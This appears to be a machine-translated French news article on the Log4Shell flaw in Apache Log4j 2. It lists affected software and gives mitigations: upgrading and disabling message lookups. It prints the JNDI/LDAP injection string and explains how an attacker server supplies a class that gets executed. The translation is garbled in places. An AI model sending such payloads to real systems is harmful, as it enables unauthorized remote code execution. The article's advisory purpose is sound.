Log4Shell, une vulnérabilité critique dans Apache Log4j 2 qui affecte de nombreux projets Java

Récemment sNous avons annoncé qu'une vulnérabilité critique avait été identifiée dans Apache Log4j 2, qui se caractérise comme un cadre populaire pour l'organisation du registre dans les applications Java, permettant l'exécution de code arbitraire lorsqu'une valeur spécialement formatée est écrite dans le registre au format « {jndi : URL} ».

Vulnérabilité Il est remarquable parce que l'attaque peut être effectuée dans des applications Java quiIls enregistrent des valeurs obtenues à partir de sources externes, par exemple en affichant des valeurs problématiques dans des messages d'erreur.

On observe que presque tous les projets qui utilisent des frameworks comme Apache Struts, Apache Solr, Apache Druid ou Apache Flink sont concernés, y compris les clients et serveurs Steam, Apple iCloud, Minecraft.

La vulnérabilité devrait conduire à une vague d'attaques massives contre les applications d'entreprise, répétant l'historique des vulnérabilités critiques dans le framework Apache Struts, qui est une estimation approximative utilisée dans 65% des applications Web Fortune 100. Liste des applications Web de l'entreprise inclus des tentatives déjà enregistrées pour analyser le réseau à la recherche de systèmes vulnérables.

La vulnérabilité permet l'exécution à distance de code non authentifié. Log4j 2 est une bibliothèque de journaux Java open source développée par la Fondation Apache. Log4j 2 est largement utilisé dans de nombreuses applications et est présent, en tant que dépendance, dans de nombreux services. Il s'agit notamment d'applications commerciales ainsi que de nombreux services cloud.

L'équipe d'attaque Randori a développé un exploit fonctionnel et a réussi à exploiter cette vulnérabilité dans les environnements clients dans le cadre de notre plate-forme de sécurité offensive. 

La vulnérabilité est accessible via une multitude de méthodes spécifiques à l'application. En effet, tout scénario permettant à une connexion distante de fournir des données arbitraires qu'une application utilisant la bibliothèque Log4j écrit dans des fichiers journaux est susceptible d'être exploité. Cette vulnérabilité est très susceptible d'être exploitée dans la nature et est susceptible d'affecter des milliers d'organisations. Cette vulnérabilité représente un risque réel important pour les systèmes affectés.

Le problème est aggravé par le fait qu'un exploit fonctionnel a déjà été publié, par ex.Mais les correctifs pour les branches stables n'ont pas encore été générés. L'identifiant CVE n'a pas encore été attribué. La solution n'est incluse que dans la branche de test log4j-2.15.0-rc1. Comme solution de contournement pour bloquer la vulnérabilité, il est recommandé de définir le paramètre Log4j2.formatMsgNoLookups sur true.

Le problème c'était dû au fait que Log4j 2 prend en charge la gestion des masques spéciaux « {} » dans les lignes de journal, où Les requêtes JNDI peuvent être exécutées (Interface de nommage et d'annuaire Java).

En analysant CVE-2021-44228, Randori a déterminé ce qui suit :

Les installations par défaut de logiciels d'entreprise largement utilisés sont vulnérables.
La vulnérabilité peut être exploitée de manière fiable et sans authentification.
La vulnérabilité affecte plusieurs versions de Log4j 2.
La vulnérabilité permet l'exécution de code à distance lorsque l'utilisateur exécute l'application à l'aide de la bibliothèque.

L'attaque se résume à passer une chaîne avec la substitution "$ {jndi: ldap: //example.com/a}", en traitant quel Log4j 2 enverra une requête LDAP pour le chemin de la classe Java au serveur attacker.com . Le chemin renvoyé par le serveur de l'attaquant (par exemple, http://example.com/Exploit.class) sera chargé et exécuté dans le contexte du processus en cours, permettant à l'attaquant de réaliser l'exécution de code arbitraire sur le système avec les droits de la demande en cours.

Enfin, il est mentionné que si des anomalies sont trouvées, il est recommandé de supposer qu'il s'agit d'un incident actif, qu'il a été compromis, et de réagir en conséquence. La mise à niveau vers des versions corrigées de Log4j 2 ou des applications concernées éliminera cette vulnérabilité. Randori recommande à toute organisation qui, selon elle, pourrait être affectée de passer de toute urgence à une version corrigée.

Dans la dernière mise à jour de l'équipe Apache Log4j, recommander aux organisations de faire ce qui suit

  • Mise à jour vers Log4j 2.15.0
  • Pour ceux qui ne peuvent pas mettre à niveau vers 2.15.0 : Dans les versions> = 2.10, cette vulnérabilité peut être atténuée en définissant la propriété système log4j2.formatMsgNoLookup ou la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS sur true.
  • Pour les versions 2,0-beta9 à 2.10.0, l'atténuation consiste à supprimer la classe JndiLookup du chemin de classe : zip -q -d log4j-core - *.jar org / apache / logging / log4j / core / lookup / JndiLookup.class.

source: https://www.lunasec.io/


Le contenu de l'article adhère à nos principes de éthique éditoriale. Pour signaler une erreur, cliquez sur c'est par ici !.

Soyez le premier à commenter

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

*

*

  1. Responsable des données: Miguel Ángel Gatón
  2. Finalité des données: Contrôle du SPAM, gestion des commentaires.
  3. Légitimation: votre consentement
  4. Communication des données: Les données ne seront pas communiquées à des tiers sauf obligation légale.
  5. Stockage des données: base de données hébergée par Occentus Networks (EU)
  6. Droits: à tout moment, vous pouvez limiter, récupérer et supprimer vos informations.